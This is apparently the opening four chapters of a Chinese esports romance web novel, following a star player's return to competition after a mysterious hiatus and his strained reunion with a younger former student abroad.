《逐鹿[电竞]》
1. 第 1 章
逐鹿第九赛季结束前的最后一场邀请赛,定在了七月底的A国。赛事官方发布参赛队伍名单,昔日的王牌战队DTL战队赫然在列。
微博与论坛转眼沦陷,主帖下的回复被刷到了上千条,【Once】【回归】【复赛】等一系列相关词条更是一路冲上热搜榜首。
Once,温忱,联盟首席战术师,亚洲赛区唯一一个二连冠战队队长,终结了国内六个赛季无冠的黑暗时代,其带领下的DTL也是一度被称为“东方神话”。
他一战封神,再战稳坐巅峰,是当之无愧的第一人。
可就在半年前的世界赛前夕,粉丝们翘首以盼,期许Once带队拿下全联盟第一个三连冠时,他却突然宣布因个人原因休赛。
DTL也放弃了小组赛出线资格直接退赛,犹如隐身一般,没有再在任何大型比赛中露面。
直到今时今日,久违的名称出现在这个从来热度平平的收官之战中。
唯一的解释,就是他们的战神Once回来了。
---
下午两点,DTL基地。
会议室里,战队经理直截了当地向温忱复述了上午高层会议的决定。
——不管用什么方法,必须要在邀请赛中打出亮眼的回归秀,哪怕是炫技,哪怕是脏战术,总之势必要营造出足够的热度与话题。
温忱微微眯起眼睛,嗤笑了一声。
“Once,我知道这对你来说也不难。”林词唱完白脸唱红脸:“这半年来俱乐部的损失你能想象到,他们想要你以最快速度重新站回大众视野中央,这是最好的办法。”
“春季赛那场的反响有目共睹,你见过其他任何一场比赛隔了一年多还这么受关注吗?”
“更何况你这一路走来不容易,现在也完全有能力站回更高的地方——网上的评论我们都看得到,你粉丝多是不错,可黑你骂你的也不少啊,你就不想证明给他们看吗?”
温忱向来不吃感情牌这套,尤其是清楚林词是个什么样的人,现下听着这话被气得都有些想笑了。
“你不会真觉得我会信,你们这么做是为了我吧?”
林词本已经想好了一堆鸡汤,不料缺被对方一句话直接全都给噎了回去。
“是啊,我还年轻,我明明还有很长的时间可以证明自己,又何必非要用这种方式?在赛场上炫技,故弄玄虚地玩些脏战术,然后要么弄崩对手心态,要么自己输掉比赛?”
“我还没有居功自傲到失了智,春季赛那次没人骂我不是因为我做的对,而是因为WIN自作自受,黑子们没有立场发挥——可这次不一样,这次是打着友谊旗帜的邀请赛,我的对手不会对我的赛区我的祖国大放厥词,所以你觉得我是有资格故技重施的去恶心他们,还是有能耐再玩退役几个职业选手?”
“你们这不是在帮我。”
“而是想赌上我的职业生涯。”
他笑笑起身,那笑意却不达眼底。
“合约快到期了,想着无论如何还得利用我再赚一笔?”
结局自然是不欢而散。
林词没有讨到便宜,就没在基地多留,温忱抽完一根烟后回到了训练室,骂归骂,但既然回来了,既然还坐在这个位置上,就还是得做好本职工作。
其他人都还没起床,训练室内空无一人,空气中只有刚打扫完残留的消毒水的气味。
温忱打开电脑,因为许久未开机,系统开始自动更新。
等待之余,目光不自觉地便飞向了窗外。
他的位置靠窗,一抬眼就能看见波光粼粼的江面,和江边绿树成荫的幽静小道。
夏日无风,午后的阳光懒懒洒在水面上,映出浮金一片,三三两两穿着校服的学生走在树影之下,蓬勃朝气与闲适静谧交融成一派祥和。
这座别墅的位置是温忱亲自选的。
当年他接手战队,带领DTL拿下了属于中国赛区的第一个冠军,一战封神,DTL也于那时一跃登顶。
赞助应接不暇,俱乐部赚得盆满钵满,终于舍得让他们搬出郊区商业楼,大手一挥给了几个独栋的选址。
出于私心,温忱选了这栋临江的。
不过后来时移事改,他忘记了初心,也弄丢了私心。
只剩这栋象征意味浓厚的旧地依旧兀立。
更新完毕的提示声将思绪拉回,目光移回屏幕,轻点了两下桌面上一个鹿头图标,久违的开屏动画开始运行。
复赛文件还没下来,为了不必要的麻烦,他特意选了个很少用的小号登录。
然后温忱诧异地发现,列表里唯一的一位好友状态竟然是“游戏中”。
他居然没把自己删了。
他居然还在玩这个游戏。
他那边这个时间应该是凌晨吧。
…………
等到一连串问题从脑子里一一闪过后,才发现自己已经点进了人家的观战界面。
做贼心虚的人蓦地一惊。
不过转头想到逐鹿这个游戏并不开放观战列表后,也就脸不红,心不跳地继续留在了观战页面。
这把沈岸这边是顺风局,对面的三座鹿神像已经被推掉了两座,对手血量也都不健康。他玩的是枪炮手,战绩6-0,既定的MVP。
温忱眼看着他一套行云流水的翻滚架炮,远距离射杀了对方后排输出位,又乘胜追击,把试图撤退防守的辅助人头也收归囊中。
但不知道为什么,在对方突击残血突脸,明明一击必杀的情况下,他突然一个闪现迎着敌方刀刃送了上去,又一个反向大招成功献祭自己。
温忱的脑袋上缓缓冒出一个问号。
观战页面同步灰了下去,死亡等复活的人似乎还没从刚刚的激战中缓过神来,连点三次才打开商店界面,然后不知何意味地给自己买了两个完全用不到的辅助装备。
温忱看得愈发二丈和尚。
一连串的变形操作之后,屏幕那头的人终于放弃了挣扎,一动不动了。
就在温忱开始思考是什么让他突然心态爆炸时,自己的聊天框突然响了。
是对方甩过来的一个问号。
温忱:“……”
他这才发现聊天记录上赫然显示着【您已通过好友列表进入对方观战频道】
……天杀的逐鹿官方,更新什么不好更新观战对局内可见。
在对方试图扣第二个?之前,温忱麻溜地退出了观战。
身经百战的温大队长很快自我安慰完毕,强行走出了尴尬,在确认对方没打算继续追究后,故作冷静地点进了单排。
——然后成功与刚才抓包自己的人排在了一个队。
看着那个再熟悉不过的小猫背影头像,温忱只觉得好像被什么脏东西做局了。
房间里的空气一片死寂。
直到一个清脆响亮的男声破空传来。
“一楼你也是Once粉丝吗!!看到今天赛事微博的帖子没!咱们偶像就要回归了,开心心不?”
温忱:“……”
这人显然是个社交恐怖分子,无人回应也不妨碍他不耻下问。
“诶?一楼二楼你们是情侣名吗?我不是选的仅匹配单排吗?”
闻言,玩家【ssidee】和玩家【ooncee】同时愣了两秒。
片刻后,团队频道:【ssidee:不是,不认识。】
打完字,沈岸敲定了刺客循影。
几乎是在他选定英雄的同一秒,温忱也锁定了他的辅助英雄,冰刺。
某社牛人士:“哇塞,还是循冰组合诶,你俩缘分恐怕在牛郎织女之上!”
世界寂静如鸭。
对局在静默中开始,这把随机到的是一个老地图,青竹之森。
这是一块森林版图,特点是有着许多树木为掩体,且在树木越茂密的地方,光照越暗,视野范围越小,是个很适合用伏击战术的图。
温忱是狙击手出家,早年玩得最多的就是这张图,自然也与沈岸配合打过很多次。
所以即便时隔很久,即便位置变换,二人还是
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配合很默契。
冰刺抓点放控,循影位移突进,再加上这把对方阵容不太合理,选了两个输出,没有辅助,C位几乎是一漏视野就死。
在几次结伴出现又结伴去世后,两个输出双双破防。
【伟伟an(弓箭手):***阴*,就**会玩这种阴间英雄恶心人,****】
【菜就多练(狙击手):玩这种没m的组合,显着你们有操作了是吧,要不是这把有司马崽抢位置老子不打爆你们。】
沈岸二话不说开了屏蔽,给温忱发过去一个【推荐购买隐身斗篷】的局内讯号。
温忱瞬间就领悟了他的意思。
沈岸不想拖了,他要直接去团灭对面,杀死比赛。
“逐鹿”,英文名Kill The Deer,因主要获胜条件为摧毁敌方的三座鹿形神像而得名。
但其实除此之外还有一个隐藏获胜方法,就是在六分钟之内团灭对面四人,并击杀掌管“复生”的神像。
也被称为杀死比赛。
温忱明白此举可行,但购买隐身斗篷跟上去的速度还是明显慢了几步。
他其实有些好奇沈岸这么做的原因。
是因为对方的垃圾话?
还是说……
只是单纯不想和自己待在一个对局里。
神游间,循影大人已经双击头像发来了一个点名提醒,仿佛一刻不愿多等。
如此,温忱也就二话不说地跟了上去。
沈岸思路明确,这两个全身只剩嘴的脆皮输出死亡次数最多,复生时间最长,从他俩开始下手最稳妥。
不过击杀完后会有持续的视野暴露,很难再摸到另外两人,所以就需要辅助使用隐身斗篷来协助。
温忱卡好位置放出冰柱封住二人走位,沈岸疾步突进,身位极佳,不费吹灰之力就送了二位一个0-4。
在击杀特效出现的瞬间,冰刺使用了隐身斗篷,将循影笼罩在内。
隐身的效果会持续八秒,循影移速快位移多,先一步抵达敌方神像前,解决了突击手。
对方显然没有意识到他们杀死比赛的意图,仅剩的战士没有选择藏匿,而是气势汹汹地冲了过来,试图给这位风头太盛的循影一点颜色。
作为脆皮突击手,对上血量厚的前排的确是没什么胜算的,纵使沈岸经济高,也只能堪堪打个平手。
双方都残血时,战士触发了红血被动,眼看一刀劈下就要终结循影。
一抹治愈绿光如天神下凡般及时落下。
抵消了这记绝杀。
沈岸微不可察地愣了一下,慢半拍地释放技能收割掉最后一个人头后,才打开装备界面看了一眼。
冰刺是控制型辅助,本身没有治愈技能,温忱能奶到他是因为买了生命之杖。
而那是个大件装备,价格很高,他自己金币池不够,还是挪了家里输出的钱买的。
——可其实是完全没有这个必要的。
他只要选择更便宜的伤害小件在自己的角色死亡后补刀击杀战士即可,简单稳妥,还有足够的容错……
沈岸一时有些恍惚,连要去摧毁复生神像都抛在了脑后,直到耳麦里再次响起那个洪亮的男声。
“woc你们这是什么神仙配合!woc!真的不是组队吗,真的没有开麦交流吗?那我承认你们的默契恐怕在我和徐明伟之上……哦,徐明伟是我上铺的兄弟,我们上赛季上分如喝水,简直强得没边……”
温忱无意窃听上下铺情意,对即将结束的比赛也没什么留恋,一边引导摧毁复生神像,一边伸手准备关闭团队语音。
而就在这时,一个熟悉的声音盖过了另一人的喋喋不休。
“那你不和徐明伟一起排位他不会生气吗?”
沈岸的声音清晰温和,带着少年人独有的干净,说这句话时尾调轻轻上扬,有一种道不明的撩人意味。
“是你不带他还是他不带你?你们吵架了吗?”
“还是说他更喜欢偷偷观战你单排操作啊?”
2. 第 2 章
Kill The Game的字样占据屏幕,闪着金光的鹿头象征着超然的胜利。
游戏结束得太快,某人的阴阳怪气都还没来及得到回应。
不过沈岸也并不期待回应就是了。
转手退了游戏,时间已指向凌晨两点。
他很少熬夜,最近实在是被一项社会研究课题折磨得有些精神衰弱了。
带队老师不管,组员多是蠢蛋,大部分任务都压都在他一个人身上。
好不容易能打两把游戏放松,居然还跟撞邪似的遇到那位。
他想不通那个霸榜热搜一整天的人是出于什么目的才会在百忙之中抽出空来上小号视奸自己。
不是刚要宣布回归吗?不是回去继续被那个不当人的俱乐部狠狠吸血了吗?
不是应该和以前一样训练,商务,应酬连轴转,让人想见一面都难吗?
…………
强迫自己放弃无果的思考后,沈岸起身洗漱睡觉,房门却在这时被敲响了。
不用想也知道是来干嘛的。
这次课题研究出差期间,几人同住在学校统一安排的房子,本意是方便外出和集体研讨,可谁知组内天神下凡,卧龙凤雏齐聚,开题半个月真正外出做事的只有沈岸和两个女生,组会更是从没全员到齐过。
反倒是某些毫无边界感的人被行了方便——自己当天的任务完不成就半夜上门找大神扔烂摊子。
甚至都懒得先确认来者身份,沈岸直接拉开房门,就当开蠢蛋盲盒。
运气爆棚!
开出了蠢蛋之首,中国留学生老乡,周旭升。
“hi,亲爱的an~~快笑纳本少爷亲手写的结题报告,我已经急不可耐地要完成这次任务了!”
沈岸侧身闪避对方的勾肩搭背邀请,冷冷掀起眼皮:“你知道现在几点了吗。”
“哎呀,事急从权……你今天没看热搜吗,我偶像回归了,月底就要来我们这边打比赛呢!现在必须抓紧赶进度把这个破结题给弄完——诶,我这报告现在可就交给你了啊,到时候你们任务完不成别想拉我下水,耽误我去看现场!”
初高中加起来曾连跳三级的人一度很难想象为什么有人会到了这个年纪还滞留在大学校园里,周大少爷今晚的操作算是答疑解惑了。
——在数据收集阶段就来交结题报告是人能干出来的事啊?!
简直是滑学术界之大稽。
不想被愚蠢气息腌入味,沈岸伸手就要关门。
“诶诶诶,别别别,好沈岸,好大神,好岸岸……”周旭升狗皮膏药般扒在门上:“求求你了嘛,我真的是喜欢Once很多年了,太太太太想去看他的比赛了……”
沈岸想让他像个人一样说话,别大半夜恶心自己,但话到嘴边却转了个720度的弯:“为什么还把他当偶像,都丢下你们一走半年了还喜欢他什么?”
狗皮膏药闻言停止哀嚎,茫然抬起头,发现悬在头顶上方的是一双冰冷阴沉的眸子。
那是个很难在沈岸身上见到的眼神。
他生得白净,五官柔和,尤其是一双眼睛极为好看,形似桃花,眼尾微微上挑也不显得半分锐利张扬,眼眸浅淡清澈,衬得人温和乖巧。
饶是周旭升没皮没脸不干人事被对怼多次,都从没见他有过这种神色。
脑子很好使的人立刻意识到,原来沈岸是Once黑粉啊!
遂假意投敌:“那,那……那倒也是,那我不喜欢他了,你帮我看看报告吧。”
但他不知道为什么,沈岸的眼神好像更冷了。
“所以你对他这么多年的喜欢其实也只值旁人一句轻飘飘的挑拨,是吗?”
周旭升:“……?”
房门砰的一声关上。
周大少爷沉默半晌。
“ber,你他妈左右脑互搏啊——”
---
距离比赛时间不足半月,训练赛打了两轮,DTL的成绩并不非常好看。
又一次复盘会上,教练刘厚负责任地说道:“我的建议还是换人。”
“Once状态恢复得很快,没有任何问题,Kun刚顶上没多久除了心态差,操作也没什么大问题。”
“但是另外两位实在太夸张了。”
好歹也是过去的冠军选手,摆烂半年快混成商K职业选手了不说,水平更是一落千丈,训练赛里差点被新兵吊着锤。
“我觉得至少要换下来一个人,让Wink上。”
Wink是Once的替补,温忱不在的这半年数他最勤奋刻苦,奈何元老Windy赶在这个节骨眼上手伤退役,其他几位又都不争气,硬是一点成绩没有拿到。
刘厚打心眼里惜才,但是林词从来只把高层意见和俱乐部利益放在第一位。
“勤奋是电子竞技里最不缺的东西,他没有其他人的经验和成绩,也没有Once这样的天赋,就凭刻苦留在首发吗?”
这话听着实有些好笑,但温忱知道这就是现实,没有创造出利益的努力与付出,于他们这些人而言,从来一文不值。
他不认同高层的安排,不认可林词的天赋论,更不觉得某些人还够资格站在赛场上。
但是也已经没有带着这个空壳战队步步向好的义务和能力。
他没有再一个意气风发的青春,没有再一腔凌云孤勇的壮志。
所以也就没有什么可据理力争的了。
最终的阵容维持原判,临近开赛,林词先行动身,四人在助理的带领下登机,一路无话。
DTL内部的关系一直很微妙,从温忱休赛前就是如此。
真要深究起来,原因很简单也很讽刺——温忱是后辈,贺倾和陆寻然是老人。
是老人,也是老队长的人。
早年间和老队长一起霸凌针对过温忱的人。
只不过造化弄人,后来老队长被赛区除名,他的拥趸们却依附后辈走上巅峰。
其中的讳莫如深可想而知。
十几个小时飞行后的困意被A国裹着寒潮的冷风吹散。
这里气候与国内不同,六月底已是寒冷时节。
不少粉丝冒着被冻成雪人的风险从前一天夜里就守在了国际机场的到达口,只为了能提前见上Once一面。
在看到那个熟悉却久违的身影迈着修长步子走进视野时,沉寂半年之久的人们欢呼着举牌簇拥而上。
分贝极高的尖叫与呼喊爆发出两种画风。
“Once!我们想死你了!欢迎回来!”
“我们永远支持你!你是永远的冠军!一定要再创佳绩啊!”
…………
“啊啊啊啊忱忱妈妈爱你!!半年不见你又变好看了——”
“男神能不能给我一个签名!!”
…………
温忱作为女粉数量最多的职业选手,当年被评为“带领电竞圈走向饭圈的领军人物”也不是没有道理的。
他身高腿长,挺拔出众,带着鸭舌帽,披着红白相间的队服,轮廓分明,五官优越,一双狭长深邃的眉眼卷着慵懒气息,但整个人的气质又丝毫不显得散漫。
安保人员还以为是什么明星小鲜肉,如临大敌地守护着通道秩序。
放在往昔,这截路上温忱是不大会回应粉丝和镜头的。
但今时不同往日,能支持他走到现在还不远万里赶来A国的这份情谊的确沉重。
于是簇拥中的人微微抬头,朝着闪光灯轻笑了一下:“谢谢,辛苦了。”
狂热炽烈的回应登时拔地而起,温忱没再多言,径直走向了保姆车。
穿过人潮上车的这段路温忱已经走了三年,从来没有回头看过。
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>可偏偏这一次,不知是鬼使神差,还是心有期待,在车门关闭前,他抬眼向后望去。
然后看到了不远处的某个角落里,正欲转身离开的背影。
男孩似乎长高了些,被包裹在宽大的白色羽绒服下,围巾遮了半张脸,但漏出的上半张脸染着不大健康的红。
周遭的人声纷杂仿佛在那一刻骤停。
男孩没有察觉到这道目光,已然没有留恋地转身,只是离去的步子在寒风中明显虚浮。
温忱愣了一下,车门在这时应声关闭。
窗外,陌生街景开始后退,呼啸的风声渐渐取代了鼎沸人声。
他的思绪久久没有能够收回。
A国很冷,一年四季有三季都在过冬,沈岸一向畏寒,国内的冬天都很容易感冒生病,却来到了这座城市生活。
——在自己的助力之下。
温忱反复回想着那一眼里对方潮红的脸颊和虚飘的步子。
终于在保姆车即将驶离机场范围时开口。
“停车。”
司机闻声踩下刹车,三五道逡巡的目光一齐投来。
“你们先去酒店,我有点事。”
说罢,带上口罩拉开车门下了车。
温忱没有猜错,沈岸的确是在生病——因为连续熬了几个大夜赶课题进度。
他说不清为什么自己最后还是听取了周旭升的意见,将进度提前一周。
就像也说不清为什么今天的外出分组,明明可以选择去更近的商圈,却还是主动请缨来了机场。
他想或许可以用烧傻了来解释,因为的确头疼得厉害,眼前的景象也有些天旋地转了。
沈岸走得慢,后方作鸟兽散的粉丝群体很快超过了他。
他们挥舞着手上的应援棒和海报,和同伴边走边笑,兴致满满。
至于聊的是什么,沈岸有些耳鸣,听不太清。
但他们手中海报上的身影却在一片混沌中格外清晰。
那是一张在赛场内的照片,身前是镶金奖杯,身后是五星红旗。
温忱正伸手去拿面前的奖杯,场馆霓虹交错的灯光打在侧脸上,映照着他坚定而炽热的目光。
是三年前Once带队出征,拿下国内赛区第一个世界赛冠军的场景。
沈岸不大清明的思绪便就这么被带回了那个夜晚——
尖叫声,欢呼声,呐喊声,以及哭泣声曾在那一刻淹没了巨型场馆。
无数双舞动的双臂,爆闪的荧光棒,和耀眼的红色旗帜在声浪中汹涌翻腾。
属于DTL,属于中国的金色雨在轰鸣声中降落。
落在舞台中央的温忱身上,也落在了台下的沈岸身上。
他们曾隔着山海人潮,在这片纷扬金雨中相望。
然后所有人的目光所及,对全场,也对他说。
“你看,我们赢了。”
---
太惊艳的故人有些难忘,太美好的回忆也有些难抽离。
等到回过神时,粉丝们早已离开,海报上的身影也已随之走远。
沈岸突然觉得周遭空气骤然变冷,呼吸变得有些困难。
吸进的每一口寒风都在胸腔里横冲直撞,刺得心尖都在痛。
他不知觉地蜷缩进了墙角,与冰冷墙壁相贴,意识恍惚间,居然看到那个已经走远的身影重新出现。
他箭步而来,逆行穿过人潮,一双眼睛直直望着自己。
一如那日雨下。
沈岸感觉到自己被一股热浪包裹住。
滚烫的气息随即扑洒而下。
最后一丝意识里,他辨认出那是一个温暖的怀抱。
温暖到像是带着夏日的余温直奔严寒里的自己。
那是过去许许多多个冬日里,都曾义无反顾向他袭来的暖流。
是他久违的夏季。
3. 第 3 章
正逢流感季节,医院里人很多,分诊医生量完体温只给了水和退烧药,等真正排到床位打上吊针已经是两个小时之后的事情了。
两个小时里,温忱寸步不离,亲自喂药喂水,敷完降温贴又将人拢在怀里发汗,为了让对方睡得安稳舒服些,一刻也没有起身过。
直到这会儿把人放在了床上,才后知后觉自己整个右手都是麻的。
身为职业选手,手部健康向来是最重要的,这点温忱已有体会。
但看着眼前翻来覆去越睡越不安稳的人,却还是一刻休息缓解的时间都没给自己留,耐心地一次次盖着滑落的被子,擦去发热时出的汗……
就在刚转身,准备出去接杯水时,突然被人一把擒住了手。
尚在昏迷中的人也不知哪来的力气,动作之大险些扯动手背的输液针。
楞一下后,温忱回过头,看着脸上依旧蒙着绯红,仿佛脆弱无边的少年,没敢再动,乖乖退了几步,任他牵着。
接下来的很长一段时间里,整个病房里只有两道交叠着的匀长呼吸声。
温忱就这么坐在床边,垂眸凝视着这个自从紧紧牵住自己后就又重归平静的男孩。
一年不见,他长开了不少,也清瘦了不少。精致的五官消磨掉了稚嫩,棱角分明了许多。只是疲惫与倦意也更甚了,眼下浮现着淡淡的青黑,在苍白的脸上显得格外扎眼。
这孩子似乎还是不大会照顾自己。温忱有些无奈,也有些心疼地想道:真是一点长进都没有。
---
两人第一次见面,沈岸也是在生病的。
没躲过校园内的流感浪潮,在期末考试前病倒,喜得了沈大学神人生中第一个不是全A的成绩单。
终年忙于事业不着家的沈父和从来美美隐身的沈母平日里难见一面,见面就吵,唯独这个时候夫妻齐心,情况都没了解清楚就把病得迷迷糊糊的儿子说教了一顿,还擅自做了请家教一对一辅导的决定。
不过他们错就错在把这个找家教的重任交给了沈岸的哥哥,沈时。
沈时深知爹妈脑子有问题也不是一两天了,心疼沈岸一天到晚就知道学习还要被骂,于是手把手开展叛逆养成计划,从隔壁战队挖了个人给自家弟弟做游戏家教。
那时的DTL没成绩,经济不景气,寒冬腊月的,基地暖气时好时坏,队友间气氛更是低到冰点。
温忱懒得坐这种精神和物理上的双重冷板凳,便干脆直接下楼找了家网吧上分。
以至于接到沈时请他去给弟弟做家教的电话时,他一度以为自己的耳朵是被这廉价网吧里的电流麦给炸出什么毛病了。
但奈何他给的实在太多了,纵使让人疑惑,但也很难拒绝。
因为有着对沈大少爷的刻板印象在,温忱还花了很长的时间思考该用怎么样的方式和一个网瘾富二代相处。
直到真正见到那位看起来乖得没边的小孩。
他们一门之隔,少年穿着干净整洁的浅灰色家居服,身形优越挺拔,似乎是刚洗过澡,柔软的发梢略显湿润,整个人散发着好闻的薄荷香气。
想象中乖张无度的网瘾少年礼貌地给他拿了双崭新的拖鞋,然后拉开距离,说自己流感还没好,不过家里已经消过毒了,一会带个口罩就行。
声音有些嘶哑,但语调温和平淡,听得温忱装满错误预设的脑子嗡嗡的。
他无论如何也无法将这张脸和这份气质涵养与他哥口中即将迎来叛逆期的网瘾少年联系起来。
——甚至都无法和他哥联系起来。
---
一串手机铃声将思绪从三年前拉回。
担心吵醒熟睡的人,温忱皱着眉头迅速挂断,林词的消息旋即轰炸而来。
他刚和主办方那边协调完相关流程,一听到小助理带来的消息只觉得天都塌了半边。
【你到底想干什么,送的谁去医院?见义勇为学雷锋也要挑时候吧?】
【这个时候去医院被拍到了媒体会怎么瞎写你知道吗?】
【而且现在流感这么严重,被传染了耽误比赛损失算谁的?】
【听他们说还是你掉头回去找的人家,私联粉丝是大忌不知道吗?!你什么身份啊,现在多少双眼睛盯着?生怕黑粉没出发挥是吧?】
【不管你那边现在什么情况,赶紧给我回来,晚上主办方做东,不要缺席。】
一眼扫过,温忱没把任何一句话放在眼里,回了个晚上没空。
对方瞬间展开连环夺命电话轰炸。
迫于无奈,温忱只得先松开了沈岸的手,出门把话说清楚。
病房门虚掩着,他没敢走太远,边打电话边关注情况。
就在电话刚接通的瞬间,方才负责给沈岸医治的医生引着一位金发碧眼的女人急匆匆推门走了进去。
温忱立刻往回走,但在透过门缝看见那个正撑着胳膊坐起来的身影时,又施施然顿住了脚步。
沈岸是在他松开手出门后惊醒的。
因为原本美好的梦境在那一刻突然变质,某个阔别许久的人被无名的黑暗吞噬,再一次消失在了他的世界。
“哦我的老天爷,怎么会弄成这样!”
金发女人的感叹透过门缝传来,“是最近压力太大了吗,因为那个社会研究?我听说了那边的情况,实在是过分得很,依我看咱们就该退出!”
闻言,温忱反应过来,这人应该是沈岸的老师。
这家医院与他的学校是合作附属关系,想必是医生与他的导师认识,知道她有多宝贝这么个天才疙瘩,才知会其赶来。
……如此,倒是没什么可担心的了。
只是多少有点天意弄人的戏剧性罢了。
电话那头开水壶般的叫嚣持续了半天,这会更是扯着嗓子问了句:“你到底有没有在听,晚宴主办方和赞助商的人都在,不要缺席不要缺席!”
“知道了。”
温忱挂断电话,隔着狭窄的门缝,最后看了病床上的人一眼,转身离开。
A国的冬季,日头落的早,顶层宴会厅在夜色中流光溢彩。
主办方做东宴请参赛的所有队伍,看似一展好客之道,但其实谁都知道,他们只是看中了这次的热度,不愿意浪费任何一个能创造噱头的机会。
工作人员引导温忱走进会场时,赛事总监正在台上致辞,一见到Once出现,几个眼尖的媒体很不道德的偷偷调转了镜头方向。
被偷拍的本人恍若未见,径直走到了战队就餐区。
贺倾和陆寻然端着酒杯在和别的战队社交,教练带着Kun在熟悉晚宴流程,只有林词正眼神幽怨的等着自己。
“没被拍吧。”
“不知道。”好似完全没
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所谓地拉开椅子坐下。
林词深吸一口气:“你心怎么这么大?”
“心不大也不会在这待到今天了吧。”
“……”
两相交流困难,终于还是林词先服了软,找侍应生要了两杯酒:“Once,我们真的需要好好聊聊。”
也不管对方愿不愿意与他碰杯,林词先干为敬:“我知道你心里有气,但也不能这么发吧?”
“DTL对你有亏欠我们承认,但你难道对我们就没有吗?”
“你很清楚,离了你队伍剩下的那些人根本成不了气候。你休赛半年,我们半年不敢露面——你就没有想过,一个半年多没有成绩的战队,会是什么样的下场吗?”
“温队长,没人有甘心从高点坠回谷底,看着好不容易到手的荣耀一点点被吐沫星子淹掉。”
温忱:“……”
温忱:哇塞?
这就是史诗级PUA外加道德绑架吗?
“我知道你现在年轻,有想法有魄力,你看不上DTL给你的条件,想自己去闯。敢闯是好事不错,但也真的不是你想得那么简单的。尤其是你现在拥有的这一切,根本不值得你去那么做——要知道,这是电子竞技,是黄金期一眨眼就会过去的电子竞技啊!”
“你背水一战,失败了可就什么都没有了。”
这一席慷慨陈辞说得比台上的欢迎和致谢都还要激昂,却把温忱听得云里雾里的,思索了好一下才反应过来。
“所以,你们觉得我拒绝续约是想自立门户,另组战队?”
对方挑眉,不置可否。
“林经理想多了,我没有那么闲。”
这话林词不信,他都已经调查过了,温忱拒绝DTL,也没有接受其他战队的示好:“那不然呢?除了自立门户,你还能做什么?”
温忱轻笑了一声,语调似乎漫不经心:“你说呢?”
“你说我还能做什么?”
台上的演讲在此刻完毕,台下掌声雷动。
林词的心却在这一片欢欣鼓舞中沉至了冰点。
他还想再说什么,但主办方的人过来通知后面有个简单的媒体拍照环节,需要Once接受采访简单讲两句。
说是简单讲两句,但其实几个问题都很刁钻。
什么回归后的心态,队友之间的默契会不会因为Windy的退役受到影响……尤其是在最后又问到了修赛的真实原因。
众所周知,半年前DTL发布公告宣称,Once因为身体原因需要休赛静养,但是直到现在都没有拿出过诊断证明。
因此这个理由也一直未被大众信服。
此次受邀媒体抱着出爆款头条的心态,问法也是精心设计过的。
“最后一个问题,也是大家这半年来一直想知道的——Once您当时究竟是出于什么原因,才会在小组赛出线后,突然选择休赛呢?”
如此发问,好似把休赛和小组赛出线这件事绑定上了某种客观联系,让听者染上倾向性。
就如同很多人一直咬定的猜测——
Once是收了其他赛区战队的好处,选择临阵脱逃。
对于这种明显不做好的刁钻提问温忱早已习惯,并没有流露出任何介意的表情。
只是说出的话有些如雷贯耳。
“你们想听实话吗?”
4. 第 4 章
最后一瓶点滴接近尾声的时候,沈岸才终于恢复了些精神,从半梦半醒中缓过来。
导师Liya已经离开——在他拒绝退出课题后跳着脚去找带队老师算账了。
窗外日光已暗,余晖斜斜沉入远山,依窗眺望的思绪也随之飘向远方。
沈岸并没有真的烧糊涂,他能确认昏迷前的那个怀抱来自谁,也证实了那个人再一次不告而别。
说不失落是骗人的,但不生气也不太应该。
毕竟先说一别两宽的是他温忱,先回头招惹的又是他温忱。
沈小少爷认为自己没有忍第二回的义务。
掏出手机问远在国内的兄长要决赛现场门票的动作一气呵成,好似生怕一个打顿就又变了心思。
沈时没有多问,不出片刻就发来了一张VIP电子门票卡。
“逐鹿”的门票一向是以磁卡的形式发售的,而且可以根据自己的喜好定制卡片上的图文形象。
眼下这张显然是加钱才能买到的定制版,卡面上印着Once的形象照,队服包裹下的人身形比例优越,模样俊逸非常,就只是插着口袋随意站着,就颇有顶流杂志大片的意味。
形象照的旁边还落款了飘逸的亲签。
沈岸的目光在那人的照片和笔记上分别停留数秒,然后按灭了屏幕,轻舒一口气。
——总之这一次,是你自己先靠近的。
邀请赛的为期时间并不长,温忱他们落地后的第二天,就迎来了第一场比赛。
除了决赛外的比赛均没有设立现场,通过直播的方式进行,合宿客厅在那几天挤满了比组会还要多一倍的人。
沈岸没时间和他们一起看,做完所有收尾工作后,淘汰赛都已经结束,总决赛的名单也已确定。
中国昔日王牌DTL对战韩国新起之秀Peak。
话题度不可谓不大热。
主办方看准热度,针对两方战队队员安排录制了一个赛前采访。
在轮到Once受访时,导播将视角切给沙发上交叠一双长腿而坐的人,直播间几乎被弹幕淹没。
【啊啊啊啊啊C国的导播也是自己人吗?这个怼脸拍是什么神仙福利!!!】
【真就360°全脸无死角呗,就这魔鬼打光凭什么也能好看成这样?!】
【看看这棱角线这下颚线,这不比我的人生规划清晰?】
【上面的姐妹别光顾着花痴了,听到刚刚对面战队怎么放狠话了吗!忱忱快给妈妈狠一个回去!】
【就是就是,一个踩着我们Once脚印起家的学人精也配在他们祖师爷面前大言不惭地乱吠?】
【这Peak也是有够自信,出道太晚没赶上被Once支配就以为自己行了?】
因为从队员选配到打法战术都像是一比一复刻的DTL,大部分国人都是很鄙视Peak这个战队的,这次的决赛也更是被网友戏称为,照妖镜之战。
采访开始,主持人的第一个问题就单刀直入,询问温忱对这次比赛的对手Peak的看法。
温忱答:“有幸看过他们珍贵的比赛录像,感受得到这是一支很有敬畏心的队伍,毕竟单是看比赛视频我就感觉有被尊敬到。”
弹幕发出经久不衰的爆笑,被一长串的【哈】字刷屏。
主持人又问:“那针对Peak全员方才的狠话,有什么想要回击的吗?”
“贵队有所不知,我国是个友谊之邦,以和为贵,不提倡恶语相向。”说罢,顿了顿又补充道:“不过不用担心,传道受业解惑还是提倡的。”
【笑死我了哈哈哈哈哈哈Once也太会怼了!太爽了!!!】
【就是怼的太有文化了不知道那群棒子能不能听懂哈哈哈哈哈——】
【救命救命这个男人也太迷人了,一脸正经的说这些是要笑死谁啊哈哈!!】
…………
林词在台下听得胆战心惊,眼皮直抽抽。
——他不知道Peak能不能听懂,只知道这尊大佛如果再在采访里乱说话,回去他就该被领导大卸八块了。
前几日晚宴上温大队长的“实话片段”才刚被DTL斥巨资买下。
那句足以掀起巨大舆论浪潮的话被险峻地被阻断在了传播之前。
DTL是想要热度,但前提是不能搭上自己。
休赛的事情俱乐部有份,战队有份,队员也有份,真深究起来,这次不占理不说,往事也有被扒出来的风险。
那可就难以收场了。
直播终于结束,温忱没有再说什么不该说的,退场的时候还故意用无辜茫然的眼神看了台下的林词一眼。
林词:“……”
这个人果然是故意的!
故意说那种拉所有人下水的话,笃定高层一定会收场买单。
——真是好一个被恶心了就恶心回去,有仇当场就报!
